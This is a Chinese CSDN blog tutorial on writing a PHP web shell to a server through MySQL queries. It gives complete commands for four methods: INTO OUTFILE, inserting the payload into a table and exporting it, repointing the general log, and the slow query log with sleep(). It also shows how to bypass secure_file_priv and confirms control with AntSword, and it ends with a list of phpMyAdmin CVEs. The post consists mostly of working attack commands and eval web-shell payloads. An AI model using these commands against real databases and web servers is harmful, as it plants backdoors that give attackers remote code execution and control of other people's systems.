Mysql写shell的几种方式

本文详细介绍了如何利用MySQL的查询语句在不同场景下写入Shell,包括通过 outfile、插入数据并导出、开启全局日志和慢查询日志等方法,并演示了如何绕过 secure_file_priv 限制。最终成功在目标服务器上创建并连接到shell.php文件。
摘要由CSDN通过智能技术生成

Mysql写shell的几种方式

当我们拿到数据库权限时,可通过数据库管理工具写入shell到目标服务器上,利用shell控制目标服务器。

复现环境:
phpstudy_pro 8.1.0.6
mysql 5.7.26 root权限
网站绝对路径为D:\phpstudy_pro\WWW

利用方式:

  1. 通过outfile写入shell
    尝试通过outfile写入文件
 报错[Code: 1290, SQL State: HY000]The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

百度之后找到原因:mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,限制无法导入和导出文件

解决办法:在my.ini配置文件[mysqld]下添加secure_file_priv =""使其默认为空
在这里插入图片描述

新建查询select

'<?php  @eval($_POST[1]);?>' into outfile
'D:/phpstudy_pro/WWW/shell.php';,成功写入shell.php文件  

在这里插入图片描述
蚁剑连接http://localhost:122/shell.php成功
在这里插入图片描述

  1. 向表插入shell并查询导出
    将一句话木马作为数据插入test1表username字段中
 insert into`test1`(`username`) values ('<?php  @eval($_POST[1]);?>');

在这里插入图片描述
在这里插入图片描述

查询该数据并导出到shell.php

   select username from test1 into outfile 'D:/phpstudy_pro/WWW/shell.php';

在这里插入图片描述

蚁剑连接http://localhost:122/shell.php成功
在这里插入图片描述

  1. 开启全局日志写入shell
    首先查看全局日志是否开启
 show variables like '%general%';  

如图所示general_log=OFF全局日志未开启
在这里插入图片描述

   开启全局日志 
   set global general_log = on; 
   将全局日志路径设置为shell文件路径 
   set global general_log_file = 'D:/phpstudy_pro/WWW/shell.php';  

在这里插入图片描述

新建查询select '<?php  @eval($_POST[1]);?>'; 

mysql会将执行的语句记录到全局日志,从而将shell写入网站目录

在这里插入图片描述
蚁剑连接成功

  1. 慢查询日志写入shell
    由于在mysql>5.6.34中,secure_file_priv会阻拦我们使用outfile写入文件,没有服务器权限无法修改my.ini配置文件,可以利用慢查询日志写入shell,原理和利用全局日志差不多。

    首先一样查看慢查询日志是否开启

show variables like '%slow_query_log%';  

在这里插入图片描述

开启慢查询日志并修改日志文件的绝对路径

在这里插入图片描述

使用慢查询日志时,只有当查询时间超过系统时间时才会记录在日志中

查询mysql系统时间 show global variables like '%long_query_time%';  

在这里插入图片描述

向日志中写入shell

select '<?php @eval($_POST[1]);?>' or sleep(11);设置查询时间为11s

在这里插入图片描述
执行成功
在这里插入图片描述
蚁剑连接成功

  1. phpMyAdmin文件包含漏洞
    CVE-2018-19968
    CVE-2018-12613
    CVE-2016-5734
    CVE-2014-8959
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redredredfish

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值